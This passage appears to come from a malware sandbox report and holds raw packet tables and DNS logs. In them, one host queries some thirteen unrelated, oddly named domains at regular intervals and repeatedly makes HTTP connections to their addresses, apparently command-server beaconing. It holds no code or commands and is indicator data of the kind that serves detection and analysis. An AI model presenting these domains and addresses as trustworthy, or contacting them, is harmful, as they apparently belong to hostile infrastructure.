Oct 8, 2024 15:56:30.986001015 CEST	80	50002	103.21.221.4	192.168.2.11
Oct 8, 2024 15:56:30.986016989 CEST	80	50002	103.21.221.4	192.168.2.11
Oct 8, 2024 15:56:30.986105919 CEST	50002	80	192.168.2.11	103.21.221.4
Oct 8, 2024 15:56:30.986105919 CEST	50002	80	192.168.2.11	103.21.221.4
Oct 8, 2024 15:56:31.000559092 CEST	50002	80	192.168.2.11	103.21.221.4
Oct 8, 2024 15:56:32.020678043 CEST	50003	80	192.168.2.11	103.21.221.4
Oct 8, 2024 15:56:32.025933027 CEST	80	50003	103.21.221.4	192.168.2.11
Oct 8, 2024 15:56:32.026016951 CEST	50003	80	192.168.2.11	103.21.221.4
Oct 8, 2024 15:56:32.044717073 CEST	50003	80	192.168.2.11	103.21.221.4
Oct 8, 2024 15:56:32.049745083 CEST	80	50003	103.21.221.4	192.168.2.11
Oct 8, 2024 15:56:33.258434057 CEST	80	50003	103.21.221.4	192.168.2.11
Oct 8, 2024 15:56:33.258455992 CEST	80	50003	103.21.221.4	192.168.2.11
Oct 8, 2024 15:56:33.258466959 CEST	80	50003	103.21.221.4	192.168.2.11
Oct 8, 2024 15:56:33.258479118 CEST	80	50003	103.21.221.4	192.168.2.11
Oct 8, 2024 15:56:33.258501053 CEST	80	50003	103.21.221.4	192.168.2.11
Oct 8, 2024 15:56:33.258500099 CEST	50003	80	192.168.2.11	103.21.221.4
Oct 8, 2024 15:56:33.258514881 CEST	80	50003	103.21.221.4	192.168.2.11
Oct 8, 2024 15:56:33.258524895 CEST	80	50003	103.21.221.4	192.168.2.11
Oct 8, 2024 15:56:33.258538008 CEST	80	50003	103.21.221.4	192.168.2.11
Oct 8, 2024 15:56:33.258544922 CEST	50003	80	192.168.2.11	103.21.221.4
Oct 8, 2024 15:56:33.258553982 CEST	80	50003	103.21.221.4	192.168.2.11
Oct 8, 2024 15:56:33.258559942 CEST	50003	80	192.168.2.11	103.21.221.4
Oct 8, 2024 15:56:33.258564949 CEST	80	50003	103.21.221.4	192.168.2.11
Oct 8, 2024 15:56:33.258574009 CEST	50003	80	192.168.2.11	103.21.221.4
Oct 8, 2024 15:56:33.258605003 CEST	50003	80	192.168.2.11	103.21.221.4
Oct 8, 2024 15:56:33.263509035 CEST	80	50003	103.21.221.4	192.168.2.11
Oct 8, 2024 15:56:33.263953924 CEST	80	50003	103.21.221.4	192.168.2.11
Oct 8, 2024 15:56:33.263998985 CEST	50003	80	192.168.2.11	103.21.221.4
Oct 8, 2024 15:56:33.547339916 CEST	50003	80	192.168.2.11	103.21.221.4
Oct 8, 2024 15:56:34.566339016 CEST	50004	80	192.168.2.11	103.21.221.4
Oct 8, 2024 15:56:34.571568012 CEST	80	50004	103.21.221.4	192.168.2.11
Oct 8, 2024 15:56:34.571917057 CEST	50004	80	192.168.2.11	103.21.221.4
Oct 8, 2024 15:56:34.583652020 CEST	50004	80	192.168.2.11	103.21.221.4
Oct 8, 2024 15:56:34.588702917 CEST	80	50004	103.21.221.4	192.168.2.11
Oct 8, 2024 15:56:34.588890076 CEST	80	50004	103.21.221.4	192.168.2.11
Oct 8, 2024 15:56:35.789258957 CEST	80	50004	103.21.221.4	192.168.2.11
Oct 8, 2024 15:56:35.789275885 CEST	80	50004	103.21.221.4	192.168.2.11
Oct 8, 2024 15:56:35.789288044 CEST	80	50004	103.21.221.4	192.168.2.11
Oct 8, 2024 15:56:35.789299011 CEST	80	50004	103.21.221.4	192.168.2.11
Oct 8, 2024 15:56:35.789336920 CEST	80	50004	103.21.221.4	192.168.2.11
Oct 8, 2024 15:56:35.789371014 CEST	80	50004	103.21.221.4	192.168.2.11
Oct 8, 2024 15:56:35.789383888 CEST	80	50004	103.21.221.4	192.168.2.11
Oct 8, 2024 15:56:35.789412022 CEST	50004	80	192.168.2.11	103.21.221.4
Oct 8, 2024 15:56:35.789422035 CEST	80	50004	103.21.221.4	192.168.2.11
Oct 8, 2024 15:56:35.789433956 CEST	80	50004	103.21.221.4	192.168.2.11
Oct 8, 2024 15:56:35.789444923 CEST	80	50004	103.21.221.4	192.168.2.11
Oct 8, 2024 15:56:35.789450884 CEST	50004	80	192.168.2.11	103.21.221.4
Oct 8, 2024 15:56:35.789611101 CEST	50004	80	192.168.2.11	103.21.221.4
Oct 8, 2024 15:56:35.794358969 CEST	80	50004	103.21.221.4	192.168.2.11
Oct 8, 2024 15:56:35.794395924 CEST	80	50004	103.21.221.4	192.168.2.11
Oct 8, 2024 15:56:35.794440031 CEST	50004	80	192.168.2.11	103.21.221.4
Oct 8, 2024 15:56:36.094691038 CEST	50004	80	192.168.2.11	103.21.221.4
Oct 8, 2024 15:56:37.137882948 CEST	50005	80	192.168.2.11	103.21.221.4
Oct 8, 2024 15:56:37.142838001 CEST	80	50005	103.21.221.4	192.168.2.11
Oct 8, 2024 15:56:37.142918110 CEST	50005	80	192.168.2.11	103.21.221.4
Oct 8, 2024 15:56:37.154119015 CEST	50005	80	192.168.2.11	103.21.221.4
Oct 8, 2024 15:56:37.159111023 CEST	80	50005	103.21.221.4	192.168.2.11
Oct 8, 2024 15:56:38.338138103 CEST	80	50005	103.21.221.4	192.168.2.11
Oct 8, 2024 15:56:38.340446949 CEST	80	50005	103.21.221.4	192.168.2.11
Oct 8, 2024 15:56:38.340683937 CEST	50005	80	192.168.2.11	103.21.221.4
Oct 8, 2024 15:56:38.344743013 CEST	50005	80	192.168.2.11	103.21.221.4
Oct 8, 2024 15:56:38.349627018 CEST	80	50005	103.21.221.4	192.168.2.11
Oct 8, 2024 15:56:43.369087934 CEST	50006	80	192.168.2.11	3.33.130.190
Oct 8, 2024 15:56:43.374116898 CEST	80	50006	3.33.130.190	192.168.2.11
Oct 8, 2024 15:56:43.374193907 CEST	50006	80	192.168.2.11	3.33.130.190
Oct 8, 2024 15:56:43.394007921 CEST	50006	80	192.168.2.11	3.33.130.190
Oct 8, 2024 15:56:43.399133921 CEST	80	50006	3.33.130.190	192.168.2.11
Oct 8, 2024 15:56:44.908725977 CEST	50006	80	192.168.2.11	3.33.130.190
Oct 8, 2024 15:56:45.219158888 CEST	50006	80	192.168.2.11	3.33.130.190
Oct 8, 2024 15:56:45.263485909 CEST	80	50006	3.33.130.190	192.168.2.11
Oct 8, 2024 15:56:45.263514042 CEST	80	50006	3.33.130.190	192.168.2.11
Oct 8, 2024 15:56:45.263570070 CEST	50006	80	192.168.2.11	3.33.130.190
Oct 8, 2024 15:56:45.935918093 CEST	50007	80	192.168.2.11	3.33.130.190
Oct 8, 2024 15:56:45.940870047 CEST	80	50007	3.33.130.190	192.168.2.11
Oct 8, 2024 15:56:45.940933943 CEST	50007	80	192.168.2.11	3.33.130.190
Oct 8, 2024 15:56:45.958532095 CEST	50007	80	192.168.2.11	3.33.130.190
Oct 8, 2024 15:56:45.963764906 CEST	80	50007	3.33.130.190	192.168.2.11
Oct 8, 2024 15:56:46.403594971 CEST	80	50007	3.33.130.190	192.168.2.11
Oct 8, 2024 15:56:46.407490015 CEST	50007	80	192.168.2.11	3.33.130.190
Oct 8, 2024 15:56:47.469734907 CEST	50007	80	192.168.2.11	3.33.130.190
Oct 8, 2024 15:56:47.476563931 CEST	80	50007	3.33.130.190	192.168.2.11
Oct 8, 2024 15:56:48.493207932 CEST	50008	80	192.168.2.11	3.33.130.190
Oct 8, 2024 15:56:48.498435020 CEST	80	50008	3.33.130.190	192.168.2.11
Oct 8, 2024 15:56:48.498598099 CEST	50008	80	192.168.2.11	3.33.130.190
Oct 8, 2024 15:56:48.516735077 CEST	50008	80	192.168.2.11	3.33.130.190
Oct 8, 2024 15:56:48.521857023 CEST	80	50008	3.33.130.190	192.168.2.11
Oct 8, 2024 15:56:48.522016048 CEST	80	50008	3.33.130.190	192.168.2.11
Oct 8, 2024 15:56:48.994993925 CEST	80	50008	3.33.130.190	192.168.2.11
Oct 8, 2024 15:56:48.996607065 CEST	50008	80	192.168.2.11	3.33.130.190
Oct 8, 2024 15:56:50.016171932 CEST	50008	80	192.168.2.11	3.33.130.190
Oct 8, 2024 15:56:50.021214962 CEST	80	50008	3.33.130.190	192.168.2.11
Oct 8, 2024 15:56:51.035414934 CEST	50009	80	192.168.2.11	3.33.130.190
Oct 8, 2024 15:56:51.040709019 CEST	80	50009	3.33.130.190	192.168.2.11
Oct 8, 2024 15:56:51.043927908 CEST	50009	80	192.168.2.11	3.33.130.190
Oct 8, 2024 15:56:51.051431894 CEST	50009	80	192.168.2.11	3.33.130.190
Oct 8, 2024 15:56:51.056462049 CEST	80	50009	3.33.130.190	192.168.2.11
Oct 8, 2024 15:56:51.500041008 CEST	80	50009	3.33.130.190	192.168.2.11
Oct 8, 2024 15:56:51.500595093 CEST	80	50009	3.33.130.190	192.168.2.11
Oct 8, 2024 15:56:51.500642061 CEST	50009	80	192.168.2.11	3.33.130.190
Oct 8, 2024 15:56:51.503405094 CEST	50009	80	192.168.2.11	3.33.130.190
Oct 8, 2024 15:56:51.508265018 CEST	80	50009	3.33.130.190	192.168.2.11
Oct 8, 2024 15:56:56.550755978 CEST	50010	80	192.168.2.11	3.33.130.190
Oct 8, 2024 15:56:56.555735111 CEST	80	50010	3.33.130.190	192.168.2.11
Oct 8, 2024 15:56:56.556504965 CEST	50010	80	192.168.2.11	3.33.130.190
Oct 8, 2024 15:56:56.568715096 CEST	50010	80	192.168.2.11	3.33.130.190
Oct 8, 2024 15:56:56.573709965 CEST	80	50010	3.33.130.190	192.168.2.11
Oct 8, 2024 15:56:57.023560047 CEST	80	50010	3.33.130.190	192.168.2.11
Oct 8, 2024 15:56:57.025799036 CEST	50010	80	192.168.2.11	3.33.130.190
Oct 8, 2024 15:56:58.080730915 CEST	50010	80	192.168.2.11	3.33.130.190
Oct 8, 2024 15:56:58.085767984 CEST	80	50010	3.33.130.190	192.168.2.11
Oct 8, 2024 15:56:59.098676920 CEST	50011	80	192.168.2.11	3.33.130.190
Oct 8, 2024 15:56:59.103609085 CEST	80	50011	3.33.130.190	192.168.2.11
Oct 8, 2024 15:56:59.103698015 CEST	50011	80	192.168.2.11	3.33.130.190
Oct 8, 2024 15:56:59.118426085 CEST	50011	80	192.168.2.11	3.33.130.190
Oct 8, 2024 15:56:59.123364925 CEST	80	50011	3.33.130.190	192.168.2.11
Oct 8, 2024 15:57:00.475156069 CEST	80	50011	3.33.130.190	192.168.2.11
Oct 8, 2024 15:57:00.480822086 CEST	50011	80	192.168.2.11	3.33.130.190
Oct 8, 2024 15:57:00.627752066 CEST	50011	80	192.168.2.11	3.33.130.190
Oct 8, 2024 15:57:00.633111954 CEST	80	50011	3.33.130.190	192.168.2.11
Oct 8, 2024 15:57:01.646778107 CEST	50012	80	192.168.2.11	3.33.130.190
Oct 8, 2024 15:57:01.652451992 CEST	80	50012	3.33.130.190	192.168.2.11
Oct 8, 2024 15:57:01.652555943 CEST	50012	80	192.168.2.11	3.33.130.190
Oct 8, 2024 15:57:01.773335934 CEST	50012	80	192.168.2.11	3.33.130.190
Oct 8, 2024 15:57:01.953879118 CEST	80	50012	3.33.130.190	192.168.2.11
Oct 8, 2024 15:57:01.953933954 CEST	80	50012	3.33.130.190	192.168.2.11
Oct 8, 2024 15:57:02.112838984 CEST	80	50012	3.33.130.190	192.168.2.11
Oct 8, 2024 15:57:02.113013983 CEST	50012	80	192.168.2.11	3.33.130.190
Oct 8, 2024 15:57:03.297759056 CEST	50012	80	192.168.2.11	3.33.130.190
Oct 8, 2024 15:57:03.302664995 CEST	80	50012	3.33.130.190	192.168.2.11
Oct 8, 2024 15:57:04.316759109 CEST	50013	80	192.168.2.11	3.33.130.190
Oct 8, 2024 15:57:04.322061062 CEST	80	50013	3.33.130.190	192.168.2.11
Oct 8, 2024 15:57:04.328747034 CEST	50013	80	192.168.2.11	3.33.130.190
Oct 8, 2024 15:57:04.336757898 CEST	50013	80	192.168.2.11	3.33.130.190
Oct 8, 2024 15:57:04.341917038 CEST	80	50013	3.33.130.190	192.168.2.11
Oct 8, 2024 15:57:04.970952034 CEST	80	50013	3.33.130.190	192.168.2.11
Oct 8, 2024 15:57:04.971108913 CEST	80	50013	3.33.130.190	192.168.2.11
Oct 8, 2024 15:57:04.971118927 CEST	80	50013	3.33.130.190	192.168.2.11
Oct 8, 2024 15:57:04.975728989 CEST	50013	80	192.168.2.11	3.33.130.190
Oct 8, 2024 15:57:04.975728989 CEST	50013	80	192.168.2.11	3.33.130.190
Oct 8, 2024 15:57:04.980786085 CEST	80	50013	3.33.130.190	192.168.2.11
Oct 8, 2024 15:57:10.027333975 CEST	50014	80	192.168.2.11	15.197.204.56
Oct 8, 2024 15:57:10.032483101 CEST	80	50014	15.197.204.56	192.168.2.11
Oct 8, 2024 15:57:10.032584906 CEST	50014	80	192.168.2.11	15.197.204.56
Oct 8, 2024 15:57:10.045954943 CEST	50014	80	192.168.2.11	15.197.204.56
Oct 8, 2024 15:57:10.050890923 CEST	80	50014	15.197.204.56	192.168.2.11
Oct 8, 2024 15:57:10.494374990 CEST	80	50014	15.197.204.56	192.168.2.11
Oct 8, 2024 15:57:10.496831894 CEST	50014	80	192.168.2.11	15.197.204.56
Oct 8, 2024 15:57:11.547454119 CEST	50014	80	192.168.2.11	15.197.204.56
Oct 8, 2024 15:57:11.552668095 CEST	80	50014	15.197.204.56	192.168.2.11
Oct 8, 2024 15:57:12.567433119 CEST	50015	80	192.168.2.11	15.197.204.56
Oct 8, 2024 15:57:12.573709011 CEST	80	50015	15.197.204.56	192.168.2.11
Oct 8, 2024 15:57:12.575510025 CEST	50015	80	192.168.2.11	15.197.204.56
Oct 8, 2024 15:57:12.592758894 CEST	50015	80	192.168.2.11	15.197.204.56
Oct 8, 2024 15:57:12.598896027 CEST	80	50015	15.197.204.56	192.168.2.11
Oct 8, 2024 15:57:13.032480001 CEST	80	50015	15.197.204.56	192.168.2.11
Oct 8, 2024 15:57:13.035315990 CEST	50015	80	192.168.2.11	15.197.204.56
Oct 8, 2024 15:57:14.094306946 CEST	50015	80	192.168.2.11	15.197.204.56
Oct 8, 2024 15:57:14.099657059 CEST	80	50015	15.197.204.56	192.168.2.11
Oct 8, 2024 15:57:15.113595009 CEST	50016	80	192.168.2.11	15.197.204.56
Oct 8, 2024 15:57:15.118741035 CEST	80	50016	15.197.204.56	192.168.2.11
Oct 8, 2024 15:57:15.118822098 CEST	50016	80	192.168.2.11	15.197.204.56
Oct 8, 2024 15:57:15.131545067 CEST	50016	80	192.168.2.11	15.197.204.56
Oct 8, 2024 15:57:15.136861086 CEST	80	50016	15.197.204.56	192.168.2.11
Oct 8, 2024 15:57:15.136877060 CEST	80	50016	15.197.204.56	192.168.2.11
Oct 8, 2024 15:57:15.596184969 CEST	80	50016	15.197.204.56	192.168.2.11
Oct 8, 2024 15:57:15.596241951 CEST	50016	80	192.168.2.11	15.197.204.56
Oct 8, 2024 15:57:16.641522884 CEST	50016	80	192.168.2.11	15.197.204.56
Oct 8, 2024 15:57:16.646704912 CEST	80	50016	15.197.204.56	192.168.2.11
Oct 8, 2024 15:57:17.661418915 CEST	50017	80	192.168.2.11	15.197.204.56
Oct 8, 2024 15:57:17.666690111 CEST	80	50017	15.197.204.56	192.168.2.11
Oct 8, 2024 15:57:17.666785002 CEST	50017	80	192.168.2.11	15.197.204.56
Oct 8, 2024 15:57:17.676268101 CEST	50017	80	192.168.2.11	15.197.204.56
Oct 8, 2024 15:57:17.681303978 CEST	80	50017	15.197.204.56	192.168.2.11
Oct 8, 2024 15:57:18.136419058 CEST	80	50017	15.197.204.56	192.168.2.11
Oct 8, 2024 15:57:18.136445045 CEST	80	50017	15.197.204.56	192.168.2.11
Oct 8, 2024 15:57:18.137011051 CEST	50017	80	192.168.2.11	15.197.204.56
Oct 8, 2024 15:57:18.139914036 CEST	50017	80	192.168.2.11	15.197.204.56
Oct 8, 2024 15:57:18.144831896 CEST	80	50017	15.197.204.56	192.168.2.11
Oct 8, 2024 15:57:23.190479994 CEST	50018	80	192.168.2.11	198.252.106.191
Oct 8, 2024 15:57:23.195560932 CEST	80	50018	198.252.106.191	192.168.2.11
Oct 8, 2024 15:57:23.195648909 CEST	50018	80	192.168.2.11	198.252.106.191
Oct 8, 2024 15:57:23.207777023 CEST	50018	80	192.168.2.11	198.252.106.191
Oct 8, 2024 15:57:23.213191032 CEST	80	50018	198.252.106.191	192.168.2.11
Oct 8, 2024 15:57:23.791959047 CEST	80	50018	198.252.106.191	192.168.2.11
Oct 8, 2024 15:57:23.793499947 CEST	80	50018	198.252.106.191	192.168.2.11
Oct 8, 2024 15:57:23.793559074 CEST	50018	80	192.168.2.11	198.252.106.191
Oct 8, 2024 15:57:24.719579935 CEST	50018	80	192.168.2.11	198.252.106.191
Oct 8, 2024 15:57:25.738004923 CEST	50019	80	192.168.2.11	198.252.106.191
Oct 8, 2024 15:57:25.752857924 CEST	80	50019	198.252.106.191	192.168.2.11
Oct 8, 2024 15:57:25.752964020 CEST	50019	80	192.168.2.11	198.252.106.191
Oct 8, 2024 15:57:25.764981031 CEST	50019	80	192.168.2.11	198.252.106.191
Oct 8, 2024 15:57:25.769884109 CEST	80	50019	198.252.106.191	192.168.2.11
Oct 8, 2024 15:57:26.354571104 CEST	80	50019	198.252.106.191	192.168.2.11
Oct 8, 2024 15:57:26.355001926 CEST	80	50019	198.252.106.191	192.168.2.11
Oct 8, 2024 15:57:26.356858969 CEST	50019	80	192.168.2.11	198.252.106.191
Oct 8, 2024 15:57:27.281928062 CEST	50019	80	192.168.2.11	198.252.106.191
Oct 8, 2024 15:57:28.302795887 CEST	50020	80	192.168.2.11	198.252.106.191
Oct 8, 2024 15:57:28.307912111 CEST	80	50020	198.252.106.191	192.168.2.11
Oct 8, 2024 15:57:28.310787916 CEST	50020	80	192.168.2.11	198.252.106.191
Oct 8, 2024 15:57:28.322824001 CEST	50020	80	192.168.2.11	198.252.106.191
Oct 8, 2024 15:57:28.327800989 CEST	80	50020	198.252.106.191	192.168.2.11
Oct 8, 2024 15:57:28.327970028 CEST	80	50020	198.252.106.191	192.168.2.11
Oct 8, 2024 15:57:28.948509932 CEST	80	50020	198.252.106.191	192.168.2.11
Oct 8, 2024 15:57:28.949104071 CEST	80	50020	198.252.106.191	192.168.2.11
Oct 8, 2024 15:57:28.949745893 CEST	50020	80	192.168.2.11	198.252.106.191
Oct 8, 2024 15:57:29.828670979 CEST	50020	80	192.168.2.11	198.252.106.191
Oct 8, 2024 15:57:30.847764969 CEST	50021	80	192.168.2.11	198.252.106.191
Oct 8, 2024 15:57:30.852754116 CEST	80	50021	198.252.106.191	192.168.2.11
Oct 8, 2024 15:57:30.852874041 CEST	50021	80	192.168.2.11	198.252.106.191
Oct 8, 2024 15:57:30.863439083 CEST	50021	80	192.168.2.11	198.252.106.191
Oct 8, 2024 15:57:30.868576050 CEST	80	50021	198.252.106.191	192.168.2.11
Oct 8, 2024 15:57:31.436985970 CEST	80	50021	198.252.106.191	192.168.2.11
Oct 8, 2024 15:57:31.437139988 CEST	80	50021	198.252.106.191	192.168.2.11
Oct 8, 2024 15:57:31.437191010 CEST	50021	80	192.168.2.11	198.252.106.191
Oct 8, 2024 15:57:31.440011024 CEST	50021	80	192.168.2.11	198.252.106.191
Oct 8, 2024 15:57:31.444863081 CEST	80	50021	198.252.106.191	192.168.2.11
Oct 8, 2024 15:57:37.144804001 CEST	50022	80	192.168.2.11	43.154.104.247
Oct 8, 2024 15:57:37.150087118 CEST	80	50022	43.154.104.247	192.168.2.11
Oct 8, 2024 15:57:37.150161028 CEST	50022	80	192.168.2.11	43.154.104.247
Oct 8, 2024 15:57:37.161554098 CEST	50022	80	192.168.2.11	43.154.104.247
Oct 8, 2024 15:57:37.166615963 CEST	80	50022	43.154.104.247	192.168.2.11
Oct 8, 2024 15:57:38.673484087 CEST	50022	80	192.168.2.11	43.154.104.247
Oct 8, 2024 15:57:38.771317959 CEST	80	50022	43.154.104.247	192.168.2.11
Oct 8, 2024 15:57:39.692303896 CEST	50023	80	192.168.2.11	43.154.104.247
Oct 8, 2024 15:57:39.698402882 CEST	80	50023	43.154.104.247	192.168.2.11
Oct 8, 2024 15:57:39.698483944 CEST	50023	80	192.168.2.11	43.154.104.247
Oct 8, 2024 15:57:39.714010954 CEST	50023	80	192.168.2.11	43.154.104.247
Oct 8, 2024 15:57:39.719018936 CEST	80	50023	43.154.104.247	192.168.2.11
Oct 8, 2024 15:57:41.219310045 CEST	50023	80	192.168.2.11	43.154.104.247
Oct 8, 2024 15:57:41.271228075 CEST	80	50023	43.154.104.247	192.168.2.11
Oct 8, 2024 15:57:42.240793943 CEST	50024	80	192.168.2.11	43.154.104.247
Oct 8, 2024 15:57:42.423808098 CEST	80	50024	43.154.104.247	192.168.2.11
Oct 8, 2024 15:57:42.423926115 CEST	50024	80	192.168.2.11	43.154.104.247
Oct 8, 2024 15:57:42.435674906 CEST	50024	80	192.168.2.11	43.154.104.247
Oct 8, 2024 15:57:42.440591097 CEST	80	50024	43.154.104.247	192.168.2.11
Oct 8, 2024 15:57:42.440685034 CEST	80	50024	43.154.104.247	192.168.2.11
Oct 8, 2024 15:57:43.938045979 CEST	50024	80	192.168.2.11	43.154.104.247
Oct 8, 2024 15:57:43.983292103 CEST	80	50024	43.154.104.247	192.168.2.11
Oct 8, 2024 15:57:44.960820913 CEST	50025	80	192.168.2.11	43.154.104.247
Oct 8, 2024 15:57:44.966051102 CEST	80	50025	43.154.104.247	192.168.2.11
Oct 8, 2024 15:57:44.966166973 CEST	50025	80	192.168.2.11	43.154.104.247
Oct 8, 2024 15:57:44.974014997 CEST	50025	80	192.168.2.11	43.154.104.247
Oct 8, 2024 15:57:44.980477095 CEST	80	50025	43.154.104.247	192.168.2.11
Oct 8, 2024 15:57:58.532809019 CEST	80	50022	43.154.104.247	192.168.2.11
Oct 8, 2024 15:57:58.533169985 CEST	50022	80	192.168.2.11	43.154.104.247
Oct 8, 2024 15:58:01.095470905 CEST	80	50023	43.154.104.247	192.168.2.11
Oct 8, 2024 15:58:01.096963882 CEST	50023	80	192.168.2.11	43.154.104.247
Oct 8, 2024 15:58:03.799887896 CEST	80	50024	43.154.104.247	192.168.2.11
Oct 8, 2024 15:58:03.799952984 CEST	50024	80	192.168.2.11	43.154.104.247
Oct 8, 2024 15:58:06.365169048 CEST	80	50025	43.154.104.247	192.168.2.11
Oct 8, 2024 15:58:06.365309954 CEST	50025	80	192.168.2.11	43.154.104.247

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 8, 2024 15:54:54.496506929 CEST	55293	53	192.168.2.11	1.1.1.1
Oct 8, 2024 15:54:54.524173975 CEST	53	55293	1.1.1.1	192.168.2.11
Oct 8, 2024 15:55:10.119239092 CEST	50244	53	192.168.2.11	1.1.1.1
Oct 8, 2024 15:55:10.559197903 CEST	53	50244	1.1.1.1	192.168.2.11
Oct 8, 2024 15:55:24.083488941 CEST	57989	53	192.168.2.11	1.1.1.1
Oct 8, 2024 15:55:24.258888006 CEST	53	57989	1.1.1.1	192.168.2.11
Oct 8, 2024 15:55:38.567131042 CEST	57641	53	192.168.2.11	1.1.1.1
Oct 8, 2024 15:55:38.983153105 CEST	53	57641	1.1.1.1	192.168.2.11
Oct 8, 2024 15:55:52.957801104 CEST	51852	53	192.168.2.11	1.1.1.1
Oct 8, 2024 15:55:53.033871889 CEST	53	51852	1.1.1.1	192.168.2.11
Oct 8, 2024 15:56:06.519968987 CEST	54083	53	192.168.2.11	1.1.1.1
Oct 8, 2024 15:56:06.914417028 CEST	53	54083	1.1.1.1	192.168.2.11
Oct 8, 2024 15:56:20.504518032 CEST	65316	53	192.168.2.11	1.1.1.1
Oct 8, 2024 15:56:21.358762980 CEST	53	65316	1.1.1.1	192.168.2.11
Oct 8, 2024 15:56:29.427205086 CEST	52420	53	192.168.2.11	1.1.1.1
Oct 8, 2024 15:56:29.470457077 CEST	53	52420	1.1.1.1	192.168.2.11
Oct 8, 2024 15:56:43.350013971 CEST	55350	53	192.168.2.11	1.1.1.1
Oct 8, 2024 15:56:43.365582943 CEST	53	55350	1.1.1.1	192.168.2.11
Oct 8, 2024 15:56:56.524756908 CEST	50836	53	192.168.2.11	1.1.1.1
Oct 8, 2024 15:56:56.547382116 CEST	53	50836	1.1.1.1	192.168.2.11
Oct 8, 2024 15:57:09.991146088 CEST	50996	53	192.168.2.11	1.1.1.1
Oct 8, 2024 15:57:10.024205923 CEST	53	50996	1.1.1.1	192.168.2.11
Oct 8, 2024 15:57:23.145077944 CEST	56868	53	192.168.2.11	1.1.1.1
Oct 8, 2024 15:57:23.187769890 CEST	53	56868	1.1.1.1	192.168.2.11
Oct 8, 2024 15:57:36.457571983 CEST	52420	53	192.168.2.11	1.1.1.1
Oct 8, 2024 15:57:37.138364077 CEST	53	52420	1.1.1.1	192.168.2.11

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 8, 2024 15:54:54.496506929 CEST	192.168.2.11	1.1.1.1	0x3d4d	Standard query (0)	www.whats-in-the-box.org	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:55:10.119239092 CEST	192.168.2.11	1.1.1.1	0x88c	Standard query (0)	www.1183377.app	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:55:24.083488941 CEST	192.168.2.11	1.1.1.1	0xd7eb	Standard query (0)	www.52ywq.vip	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:55:38.567131042 CEST	192.168.2.11	1.1.1.1	0x2f8d	Standard query (0)	www.zenscape.top	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:55:52.957801104 CEST	192.168.2.11	1.1.1.1	0x7ea	Standard query (0)	www.asociacia.online	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:56:06.519968987 CEST	192.168.2.11	1.1.1.1	0x107b	Standard query (0)	www.93187.xyz	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:56:20.504518032 CEST	192.168.2.11	1.1.1.1	0xb85	Standard query (0)	www.insicilia.today	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:56:29.427205086 CEST	192.168.2.11	1.1.1.1	0x61ec	Standard query (0)	www.tempatmudisini01.click	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:56:43.350013971 CEST	192.168.2.11	1.1.1.1	0xb9d8	Standard query (0)	www.o731lh.vip	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:56:56.524756908 CEST	192.168.2.11	1.1.1.1	0xbd6c	Standard query (0)	www.consultarfacil.online	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:57:09.991146088 CEST	192.168.2.11	1.1.1.1	0x8b4b	Standard query (0)	www.broomeorchard.xyz	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:57:23.145077944 CEST	192.168.2.11	1.1.1.1	0x1a90	Standard query (0)	www.suarahati20.xyz	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:57:36.457571983 CEST	192.168.2.11	1.1.1.1	0xe13	Standard query (0)	www.nmh6.site	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 8, 2024 15:54:54.524173975 CEST	1.1.1.1	192.168.2.11	0x3d4d	No error (0)	www.whats-in-the-box.org	whats-in-the-box.org		CNAME (Canonical name)	IN (0x0001)	false
Oct 8, 2024 15:54:54.524173975 CEST	1.1.1.1	192.168.2.11	0x3d4d	No error (0)	whats-in-the-box.org		3.33.130.190	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:54:54.524173975 CEST	1.1.1.1	192.168.2.11	0x3d4d	No error (0)	whats-in-the-box.org		15.197.148.33	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:55:10.559197903 CEST	1.1.1.1	192.168.2.11	0x88c	No error (0)	www.1183377.app	r83l7k.asiagoogleantiddoscdn.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 8, 2024 15:55:10.559197903 CEST	1.1.1.1	192.168.2.11	0x88c	No error (0)	r83l7k.asiagoogleantiddoscdn.com	hse6978h2.g.asiagoogleantiddoscdn.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 8, 2024 15:55:10.559197903 CEST	1.1.1.1	192.168.2.11	0x88c	No error (0)	hse6978h2.g.asiagoogleantiddoscdn.com		23.224.37.76	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:55:10.559197903 CEST	1.1.1.1	192.168.2.11	0x88c	No error (0)	hse6978h2.g.asiagoogleantiddoscdn.com		23.224.37.78	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:55:10.559197903 CEST	1.1.1.1	192.168.2.11	0x88c	No error (0)	hse6978h2.g.asiagoogleantiddoscdn.com		23.225.60.59	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:55:10.559197903 CEST	1.1.1.1	192.168.2.11	0x88c	No error (0)	hse6978h2.g.asiagoogleantiddoscdn.com		23.225.60.99	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:55:10.559197903 CEST	1.1.1.1	192.168.2.11	0x88c	No error (0)	hse6978h2.g.asiagoogleantiddoscdn.com		156.251.233.3	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:55:10.559197903 CEST	1.1.1.1	192.168.2.11	0x88c	No error (0)	hse6978h2.g.asiagoogleantiddoscdn.com		156.251.233.84	A (IP address)	IN (0x0001)	false
Oct 8, 2024 15:55:10.559197903 CEST	1.1.1.1	192.168.2.11	0x88c	No error (0)	hse6978h2.g.asiagoogleantiddoscdn.com		156.251.233.85	A (IP address)	IN (0x0001)	false
